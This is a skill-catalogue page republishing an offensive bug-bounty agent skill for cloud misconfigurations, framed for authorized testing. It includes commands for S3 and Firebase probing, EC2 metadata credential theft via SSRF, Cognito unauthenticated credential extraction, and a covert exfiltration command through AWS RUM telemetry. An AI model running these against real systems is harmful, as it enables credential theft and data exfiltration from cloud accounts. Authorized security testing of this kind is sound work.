Agent skill

Hunt Cloud Misconfig

by sickn33 in sickn33/agentic-awesome-skills

Hunt cloud / infrastructure misconfigurations. An agent skill from sickn33/agentic-awesome-skills.

MITAuto-check: notesBackend & APIs

Install Hunt Cloud Misconfig

skills CLI
$ npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install sickn33/agentic-awesome-skills hunt-cloud-misconfig --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/sickn33/agentic-awesome-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt-cloud-misconfig .claude/skills/hunt-cloud-misconfig && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
hunt-cloud-misconfig
GitHub stars
47k
Used in
1 other repo
Token cost
~3.6k tokens
SKILL.md length
1,152 words
Files
1
Skills in repo
1,493
Repo updated
First seen
Licence
MIT

At a glance

Hunt cloud / infrastructure misconfigurations. An agent skill from sickn33/agentic-awesome-skills.

  • Works in 7 steps: Extract identityPoolId from page source. → Confirm pool allows unauth identities… → Confirm get-credentials-for-identity… → …
  • Tasks that involve Event-driven systems
  • SKILL.md covers 16. CLOUD / INFRA MISCONFIGS, Local-verification toolchain, CloudWatch RUM Weaponization… and Related Skills & Chains, plus 2 more sections
  • Calls aws, curl and docker; reaches target-app.firebaseio.com and dataplane.rum.us-east-1.amazonaws.com; needs AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY

What it does

Hunt Cloud Misconfig is an agent skill from sickn33/agentic-awesome-skills. Hunt cloud / infrastructure misconfigurations.

Its SKILL.md is about 3.6k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts. Compatibility notes: Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not…

It sits in Backend & APIs, covering Event-driven systems. The repository describes itself as: AAS Core is the local, agent-first control plane for complete catalog discovery, agent-owned selection, stack validation, and planning, backed by 2,400+ agentic skills. Includes… The licence is MIT.

When your agent uses it

  • Tasks that involve Event-driven systems

Example prompts

  • “/hunt-cloud-misconfig”

Requirements

  • Docker
  • A credential in AWS_SECRET_ACCESS_KEY
  • Compatibility (from SKILL.md): Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.

Workflow steps

7 steps, taken from the first numbered list in SKILL.md.

  1. Extract identityPoolId from page source.
  2. Confirm pool allows unauth identities (get-id succeeds without auth).
  3. Confirm get-credentials-for-identity returns STS creds.
  4. Run aws sts get-caller-identity and screenshot the role ARN.
  5. Run enumerate-iam / Pacu iam__enum_permissions — capture at least one allowed action beyond rum:PutRumEvents. Without this, the finding is…
  6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
  7. Do not modify/delete data even if permitted — read-only PoC only.

What it can do on your machine

Read from SKILL.md and the folder at commit 680176d. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • aws
    • curl
    • docker

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • target-app.firebaseio.com
    • dataplane.rum.us-east-1.amazonaws.com
    • target-name.s3.amazonaws.com
    • client.rum.us-east-1.amazonaws.com

    Also links to:

    • github.com
    • andresriancho.com
    • notsosecure.com
    • cloud.hacktricks.wiki
    • securitylabs.datadoghq.com

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names these keys or tokens, usually read from environment variables:

    • AWS_ACCESS_KEY_ID
    • AWS_SECRET_ACCESS_KEY

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

  • Compatibility

    Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.

    From compatibility in the SKILL.md frontmatter.

Context cost

Hunt Cloud Misconfig loads about 3.6k tokens when it runs. Until then it costs about 17 tokens; SKILL.md has 1,152 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~17
When it runs · the whole SKILL.md, loaded when a task matches
~3.6k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check: notes

The automated check noted patterns worth knowing about, such as sudo or a known installer.

  • NoteMentions a .env fileSKILL.md:59
    /phpMyAdmin  /.env  /config.json  /api-docs  /server-status
  • NoteMentions a .env fileSKILL.md:214
    rimitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from sickn33/agentic-awesome-skills at commit 680176d, republished under its MIT licence (© sickn33). 1,152 words, ~3,616 tokens.

Download SKILL.mdSave it as .claude/skills/hunt-cloud-misconfig/SKILL.md (or your agent's skills folder).
name
hunt-cloud-misconfig
description
Hunt cloud / infrastructure misconfigurations.
compatibility
Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.
category
security
risk
offensive
source
https://github.com/elementalsouls/Claude-BugHunter
source_repo
elementalsouls/Claude-BugHunter
source_type
community
date_added
2026-09-20
license
MIT
license_source
https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
sources
hackerone_public, public_research
report_count
6

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

16. CLOUD / INFRA MISCONFIGS

S3 / GCS / Azure Blob
bash
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write
EC2 Metadata (via SSRF)
bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys
Exposed Admin Panels
/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status

Jenkins SSO-restriction failure → Script Console RCE

An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then /script (Groovy console) = RCE, and /credentials + /scriptText = stored API tokens and source disclosure. Disclosed: reports/231460.

Exposed message broker (RabbitMQ / AMQP) with default creds

Probe RabbitMQ management (http://TARGET:15672/, API :15672/api/overview) and AMQP :5672; try default guest:guest (works off-localhost when loopback_users is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.

Local-verification toolchain

For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:

bash
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1

Without those env vars, aws s3 cp/sync fails with InvalidRequest. Document this for the team. See docs/verification/phase2j-cloud-localstack.md for the full reproducible flow.


CloudWatch RUM Weaponization (2024-2026 surface)

AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to dataplane.rum.<region>.amazonaws.com. The snippet's AppMonitor config contains an identityPoolId (Cognito) and guestRoleArn (IAM role) — both public by design. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (rum:PutRumEvents on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in cloud-iam-deep → Cognito Identity Pool chain.

Detection — JS bundle fingerprints

Snippet-style (most common, embedded in <head>):

javascript
(function(n,i,v,r,s,c,x,z){...})(
  'cwr',
  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)
  '1.0.0',
  'us-east-1',
  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
  {
    sessionSampleRate: 1,
    guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
    identityPoolId: "us-east-1:abcd1234-...",
    endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
    telemetries: ["errors","performance","http"]
  }
);

NPM-style (aws-rum-web package):

javascript
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
Regex set for recon
bash
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .

# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"] ([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .

# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"] ([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .

# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .

# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
Attack chains

Chain A — Credential extraction (Critical when guestRole is over-permissioned). Once identityPoolId is extracted from the page, anyone runs:

bash
aws cognito-identity get-id \
  --identity-pool-id "us-east-1:abcd1234-..." \
  --region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:<returned-uuid>" \
  --region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity        # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py

Full chain documented in cloud-iam-deep → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.

Chain B — Telemetry endpoint covert exfil. dataplane.rum.<region>.amazonaws.com is an AWS-owned domain on every enterprise allowlist. The PutRumEvents payload accepts arbitrary userDetails and customEvents string fields:

bash
aws rum put-rum-events \
  --id $(uuidgen) \
  --app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
  --user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
  --rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
  --endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
  --region us-east-1

Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.

Chain C — DOM injection via snippet source poisoning. Many customers either self-host cwr.js on their own CDN (assets.target.com/cwr.js) or bundle aws-rum-web and serve from static.target.com/main.<hash>.js. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against aws-rum-webb) gives persistent JS execution on every page-load with the trust of the aws-rum-web SDK — including its already-granted Cognito permissions.

Chain D — Telemetry injection / dashboard poisoning. With the public identityPoolId + applicationId, an external attacker can flood PutRumEvents with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).

Severity rubric
FindingSeverityJustification
guestRoleArn with *:* or wildcards on multiple servicesCritical (9.1+)Anonymous full AWS access
guestRoleArn with s3:*, dynamodb:*, secretsmanager:*, lambda:Invoke* on production resourcesHigh (7.5-8.8)Data exfil / RCE depending on resource
guestRoleArn with cognito-identity:* or iam:PassRoleHigh (8.0)Privilege escalation primitive
guestRoleArn with only rum:PutRumEvents + endpoint-scoped resourceInformationalDocumented, intended config
RUM userDetails logging PII into events viewable in CloudWatch consoleMedium (5.3-6.5)Sensitive data exposure via dashboard sharing
RUM AppMonitor accepts PutRumEvents from arbitrary internet sources (telemetry injection)Low-Medium (4.3)Dashboard poisoning, alert evasion, billing DoS
Self-hosted cwr.js on takeoverable subdomainCritical (9.8) when chainedPersistent stored XSS across every customer page
Show full SKILL.md (502 more words)Show less
Disclosed cases / authoritative writeups

No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.

  • Andres Riancho — "Misconfigured Cognito Identity Pools" (2020/2023) — establishes the attack class. andresriancho.com
  • Rhino Security Labs — Pacu cognito__enum_identity_pools — production tooling that automates Chain A. github.com/RhinoSecurityLabs/pacu
  • NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023) — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. notsosecure.com
  • HackTricks Cloud — aws-cognito-unauthenticated-enum — canonical playbook. cloud.hacktricks.wiki
  • Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024) — telemetry showing real-world abuse rates. securitylabs.datadoghq.com
  • aws-observability/aws-rum-web GitHub issues #213, #404 — community discussion of the bundled-snippet security model. github.com/aws-observability/aws-rum-web
Validation checklist (before reporting)
  1. Extract identityPoolId from page source.
  2. Confirm pool allows unauth identities (get-id succeeds without auth).
  3. Confirm get-credentials-for-identity returns STS creds.
  4. Run aws sts get-caller-identity and screenshot the role ARN.
  5. Run enumerate-iam / Pacu iam__enum_permissions — capture at least one allowed action beyond rum:PutRumEvents. Without this, the finding is Informational.
  6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
  7. Do not modify/delete data even if permitted — read-only PoC only.

  • hunt-subdomain — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + hunt-subdomain → unclaimed CNAME points to bucket → assets.target.com takeover.
  • cloud-iam-deep — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in .env → cloud-iam-deep enumeration → cross-service iam:PassRole escalation.
  • hunt-ssrf — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.
  • supply-chain-attack-recon — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.
  • security-arsenal — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.
  • triage-validation — Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.

When to Use

  • You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
  • You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.
Example
bash
# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

© sickn33, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/hunt-cloud-misconfig of sickn33/agentic-awesome-skills.

Open the folder on GitHubat commit 680176d

Used in 1 other repository

We found 5 copies of this SKILL.md (exact, near-identical or edited) in other folders, from 1 other GitHub owner. This page covers the copy in sickn33/agentic-awesome-skills, which our catalogue first saw on October 7, 2026.

Compare with similar skills

Hunt Cloud Misconfig next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Hunt Cloud Misconfig compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Hunt Cloud Misconfig this skillsickn33/agentic-awesome-skills47k1 repos~3.6kAutomated safety check: NotesMIT
Run Without Youalirezarezvani/claude-skills28k—~1.1kAutomated safety check: PassMIT
System Designninehills/skills280—~4.7kAutomated safety check: PassMIT
System Designwondelai/skills2.4k—~4kAutomated safety check: PassMIT
Magic MouthHmbown/Wizards-of-the-Ghosts109—~836Automated safety check: PassCC0-1.0
System Design Building BlocksHoangNguyen0403/agent-skills-standard571—~970Automated safety check: PassMIT

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Questions about Hunt Cloud Misconfig

What does Hunt Cloud Misconfig do?

Hunt cloud / infrastructure misconfigurations. An agent skill from sickn33/agentic-awesome-skills. Hunt Cloud Misconfig is an agent skill from sickn33/agentic-awesome-skills. Hunt cloud / infrastructure misconfigurations.

When should I use Hunt Cloud Misconfig?

Hunt Cloud Misconfig fits situations like: tasks that involve Event-driven systems.

How do I install Hunt Cloud Misconfig in Claude Code?

Run `npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a claude-code`. Or copy the skill folder (skills/hunt-cloud-misconfig in sickn33/agentic-awesome-skills) into .claude/skills/hunt-cloud-misconfig in your project. Claude Code loads it when a task matches its description.

How do I install Hunt Cloud Misconfig in Codex?

Run `npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a codex`. Or copy the skill folder (skills/hunt-cloud-misconfig in sickn33/agentic-awesome-skills) into .agents/skills/hunt-cloud-misconfig in your project. Codex loads it when a task matches its description.

Can I use Hunt Cloud Misconfig in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-cloud-misconfig, .gemini/skills/hunt-cloud-misconfig, .github/skills/hunt-cloud-misconfig and .opencode/skills/hunt-cloud-misconfig in your project.

What does Hunt Cloud Misconfig need to run?

Going by SKILL.md and its folder, Hunt Cloud Misconfig needs the command-line tools its instructions call (aws, curl and docker) and credentials named AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY. Our summary lists: Docker; A credential in AWS_SECRET_ACCESS_KEY. Compatibility (from SKILL.md): Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled..

Does Hunt Cloud Misconfig access the network?

SKILL.md names 9 domains. In commands or code: target-app.firebaseio.com, dataplane.rum.us-east-1.amazonaws.com, target-name.s3.amazonaws.com and client.rum.us-east-1.amazonaws.com; the agent is likely to contact these when it follows the instructions. As links in the text: github.com, andresriancho.com, notsosecure.com, cloud.hacktricks.wiki and securitylabs.datadoghq.com. This is read from the text; nothing was executed.

Is Hunt Cloud Misconfig safe to install?

Our automated static check of SKILL.md found notes only (mentions a .env file), nothing it rates as a warning. It is not a guarantee. Review the folder before installing.

What licence does Hunt Cloud Misconfig use?

Hunt Cloud Misconfig is published under the MIT licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Hunt Cloud Misconfig use?

About 3.6k tokens (SKILL.md is roughly 14k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Hunt Cloud Misconfig?

Skills that share tags, products or a category with Hunt Cloud Misconfig: Run Without You (alirezarezvani/claude-skills, 28k stars), System Design (ninehills/skills, 280 stars), System Design (wondelai/skills, 2.4k stars) and Magic Mouth (Hmbown/Wizards-of-the-Ghosts, 109 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Hunt Cloud Misconfig?

sickn33 (a GitHub user) maintains it in sickn33/agentic-awesome-skills, which has 47,379 GitHub stars. The repository holds 1,493 skills in this directory. The repository was last updated on October 9, 2026.

Source: sickn33/agentic-awesome-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.